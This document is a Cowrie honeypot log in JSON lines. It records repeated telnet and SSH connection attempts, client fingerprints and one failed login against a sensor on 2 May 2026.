{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56684,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed17a415faf7","protocol":"telnet","message":"New connection: 188.95.113.134:56684 (159.203.135.109:23) [session: ed17a415faf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:05.919049Z"}
{"eventid":"cowrie.session.closed","duration":31.253095149993896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:06.774406Z","src_ip":"188.95.113.134","session":"b6d5ce121eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56686,"dst_ip":"159.203.135.109","dst_port":23,"session":"312968128cd7","protocol":"telnet","message":"New connection: 188.95.113.134:56686 (159.203.135.109:23) [session: 312968128cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:06.779669Z"}
{"eventid":"cowrie.session.closed","duration":30.86180090904236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:07.109210Z","src_ip":"188.95.113.134","session":"f769cbae3515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8785719871521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:07.113265Z","src_ip":"188.95.113.134","session":"13ca1dc4ee39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56696,"dst_ip":"159.203.135.109","dst_port":23,"session":"41abfb1e8d4a","protocol":"telnet","message":"New connection: 188.95.113.134:56696 (159.203.135.109:23) [session: 41abfb1e8d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:07.894751Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52922,"dst_ip":"159.203.135.109","dst_port":23,"session":"c284be41675f","protocol":"telnet","message":"New connection: 174.138.46.234:52922 (159.203.135.109:23) [session: c284be41675f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:07.900506Z"}
{"eventid":"cowrie.session.closed","duration":30.306747436523438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:09.074732Z","src_ip":"188.95.113.134","session":"4b227f617f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56712,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ad2d96fea2","protocol":"telnet","message":"New connection: 188.95.113.134:56712 (159.203.135.109:23) [session: 60ad2d96fea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:10.108691Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56718,"dst_ip":"159.203.135.109","dst_port":23,"session":"38b678e99b0e","protocol":"telnet","message":"New connection: 188.95.113.134:56718 (159.203.135.109:23) [session: 38b678e99b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:10.441033Z"}
{"eventid":"cowrie.session.closed","duration":30.789357900619507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:11.484187Z","src_ip":"188.95.113.134","session":"1dd9abd51fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32027769088745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:12.072622Z","src_ip":"188.95.113.134","session":"11a64ae4d162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.706624984741211,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:12.198635Z","src_ip":"174.138.46.234","session":"6817312b7083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42060,"dst_ip":"159.203.135.109","dst_port":23,"session":"69a3c94d6fce","protocol":"telnet","message":"New connection: 188.95.113.134:42060 (159.203.135.109:23) [session: 69a3c94d6fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:12.816706Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42070,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0224d6620a5","protocol":"telnet","message":"New connection: 188.95.113.134:42070 (159.203.135.109:23) [session: c0224d6620a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:12.851902Z"}
{"eventid":"cowrie.session.closed","duration":31.514665842056274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:13.524798Z","src_ip":"188.95.113.134","session":"7146ff6e8ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.8655829429626465,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:13.765996Z","src_ip":"174.138.46.234","session":"c284be41675f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42086,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bd229246be1","protocol":"telnet","message":"New connection: 188.95.113.134:42086 (159.203.135.109:23) [session: 0bd229246be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:16.792227Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42098,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ba117327cf","protocol":"telnet","message":"New connection: 188.95.113.134:42098 (159.203.135.109:23) [session: b9ba117327cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:16.961941Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42104,"dst_ip":"159.203.135.109","dst_port":23,"session":"214ed0918c09","protocol":"telnet","message":"New connection: 188.95.113.134:42104 (159.203.135.109:23) [session: 214ed0918c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:16.985217Z"}
{"eventid":"cowrie.session.closed","duration":30.33640456199646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:17.079938Z","src_ip":"188.95.113.134","session":"c8586a294e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42120,"dst_ip":"159.203.135.109","dst_port":23,"session":"a318e375bd10","protocol":"telnet","message":"New connection: 188.95.113.134:42120 (159.203.135.109:23) [session: a318e375bd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:17.879637Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42128,"dst_ip":"159.203.135.109","dst_port":23,"session":"d16d1e6197bf","protocol":"telnet","message":"New connection: 188.95.113.134:42128 (159.203.135.109:23) [session: d16d1e6197bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:18.194233Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42144,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11964bc699c","protocol":"telnet","message":"New connection: 188.95.113.134:42144 (159.203.135.109:23) [session: e11964bc699c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:18.570271Z"}
{"eventid":"cowrie.session.closed","duration":31.258979320526123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:18.973650Z","src_ip":"188.95.113.134","session":"5eab635539e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2265145778656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:19.305325Z","src_ip":"188.95.113.134","session":"050bf90703c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42150,"dst_ip":"159.203.135.109","dst_port":23,"session":"6249e2fb67db","protocol":"telnet","message":"New connection: 188.95.113.134:42150 (159.203.135.109:23) [session: 6249e2fb67db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:19.356304Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42152,"dst_ip":"159.203.135.109","dst_port":23,"session":"20544327534c","protocol":"telnet","message":"New connection: 188.95.113.134:42152 (159.203.135.109:23) [session: 20544327534c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:19.590761Z"}
{"eventid":"cowrie.session.closed","duration":30.80315399169922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:20.095776Z","src_ip":"188.95.113.134","session":"e01e1c7bf167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42160,"dst_ip":"159.203.135.109","dst_port":23,"session":"f464e2bab5f1","protocol":"telnet","message":"New connection: 188.95.113.134:42160 (159.203.135.109:23) [session: f464e2bab5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:20.101121Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42164,"dst_ip":"159.203.135.109","dst_port":23,"session":"31c5ebc2a172","protocol":"telnet","message":"New connection: 188.95.113.134:42164 (159.203.135.109:23) [session: 31c5ebc2a172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:21.484445Z"}
{"eventid":"cowrie.session.closed","duration":31.3425931930542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:21.600251Z","src_ip":"188.95.113.134","session":"6712bd47e28e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":42180,"dst_ip":"159.203.135.109","dst_port":23,"session":"d53b84d0e4dd","protocol":"telnet","message":"New connection: 188.95.113.134:42180 (159.203.135.109:23) [session: d53b84d0e4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:21.825367Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58592,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f754becff8","protocol":"telnet","message":"New connection: 188.95.113.134:58592 (159.203.135.109:23) [session: e4f754becff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:22.586976Z"}
{"eventid":"cowrie.session.closed","duration":31.255192518234253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:22.720264Z","src_ip":"188.95.113.134","session":"d68713617121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58608,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ebc212b476d","protocol":"telnet","message":"New connection: 188.95.113.134:58608 (159.203.135.109:23) [session: 5ebc212b476d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:22.835200Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58624,"dst_ip":"159.203.135.109","dst_port":23,"session":"7846a482aae1","protocol":"telnet","message":"New connection: 188.95.113.134:58624 (159.203.135.109:23) [session: 7846a482aae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:23.067183Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58628,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce2cba0dec3","protocol":"telnet","message":"New connection: 188.95.113.134:58628 (159.203.135.109:23) [session: 1ce2cba0dec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:23.254991Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58638,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eee24af3835","protocol":"telnet","message":"New connection: 188.95.113.134:58638 (159.203.135.109:23) [session: 2eee24af3835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:23.523739Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58642,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f7a7688a40","protocol":"telnet","message":"New connection: 188.95.113.134:58642 (159.203.135.109:23) [session: 40f7a7688a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:23.630728Z"}
{"eventid":"cowrie.session.closed","duration":30.34758234024048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:24.217561Z","src_ip":"188.95.113.134","session":"9e212305e403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"13a5f6288054","protocol":"telnet","message":"New connection: 188.95.113.134:58646 (159.203.135.109:23) [session: 13a5f6288054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:25.681671Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58650,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba291ed5c85","protocol":"telnet","message":"New connection: 188.95.113.134:58650 (159.203.135.109:23) [session: 4ba291ed5c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:27.474710Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58658,"dst_ip":"159.203.135.109","dst_port":23,"session":"69598d782d62","protocol":"telnet","message":"New connection: 188.95.113.134:58658 (159.203.135.109:23) [session: 69598d782d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:28.123931Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58662,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2618dc9ffdf","protocol":"telnet","message":"New connection: 188.95.113.134:58662 (159.203.135.109:23) [session: d2618dc9ffdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:28.853122Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58678,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd12b0b10988","protocol":"telnet","message":"New connection: 188.95.113.134:58678 (159.203.135.109:23) [session: bd12b0b10988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:30.969498Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":45006,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3fb096e6da3","protocol":"ssh","message":"New connection: 176.32.193.16:45006 (159.203.135.109:22) [session: f3fb096e6da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.230673Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.367534Z","src_ip":"176.32.193.16","session":"f3fb096e6da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":45012,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f35c3567b5e","protocol":"ssh","message":"New connection: 176.32.193.16:45012 (159.203.135.109:22) [session: 6f35c3567b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.503970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.508373Z","src_ip":"176.32.193.16","session":"6f35c3567b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":39920,"dst_ip":"159.203.135.109","dst_port":22,"session":"e19a5cd5a314","protocol":"ssh","message":"New connection: 209.38.20.25:39920 (159.203.135.109:22) [session: e19a5cd5a314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.536834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.541153Z","src_ip":"209.38.20.25","session":"e19a5cd5a314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.642873Z","src_ip":"176.32.193.16","session":"6f35c3567b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.753715Z","src_ip":"209.38.20.25","session":"e19a5cd5a314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:31.783231Z","src_ip":"176.32.193.16","session":"6f35c3567b5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1111","message":"login attempt [user2/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:32.633616Z","src_ip":"209.38.20.25","session":"e19a5cd5a314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.482304334640503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:32.886451Z","src_ip":"188.95.113.134","session":"c0d37b421a54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76941156387329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:33.109113Z","src_ip":"188.95.113.134","session":"3bfe4296be0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":45046,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e26c3d684cf","protocol":"telnet","message":"New connection: 188.95.113.134:45046 (159.203.135.109:23) [session: 5e26c3d684cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:33.191737Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:33.847088Z","src_ip":"209.38.20.25","session":"e19a5cd5a314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.235220670700073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:36.154074Z","src_ip":"188.95.113.134","session":"ed17a415faf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.365432024002075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:37.144983Z","src_ip":"188.95.113.134","session":"312968128cd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21768021583557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:38.112303Z","src_ip":"188.95.113.134","session":"41abfb1e8d4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":45052,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45c54ab1f5b","protocol":"telnet","message":"New connection: 188.95.113.134:45052 (159.203.135.109:23) [session: c45c54ab1f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:38.471046Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":45062,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d12e4daa894","protocol":"telnet","message":"New connection: 188.95.113.134:45062 (159.203.135.109:23) [session: 5d12e4daa894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:39.343773Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":45072,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d463f016553","protocol":"telnet","message":"New connection: 188.95.113.134:45072 (159.203.135.109:23) [session: 5d463f016553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:40.231675Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":45076,"dst_ip":"159.203.135.109","dst_port":23,"session":"100fbfcdf818","protocol":"telnet","message":"New connection: 188.95.113.134:45076 (159.203.135.109:23) [session: 100fbfcdf818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:40.581170Z"}
{"eventid":"cowrie.session.closed","duration":30.662998914718628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:41.103917Z","src_ip":"188.95.113.134","session":"38b678e99b0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229451656341553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:41.338021Z","src_ip":"188.95.113.134","session":"60ad2d96fea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34368,"dst_ip":"159.203.135.109","dst_port":23,"session":"84e47215eb9b","protocol":"telnet","message":"New connection: 174.138.46.234:34368 (159.203.135.109:23) [session: 84e47215eb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:42.206534Z"}
{"eventid":"cowrie.session.closed","duration":30.727519512176514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:43.544089Z","src_ip":"188.95.113.134","session":"69a3c94d6fce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15695834159851,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:44.008734Z","src_ip":"188.95.113.134","session":"c0224d6620a5","protocol":"telnet"}
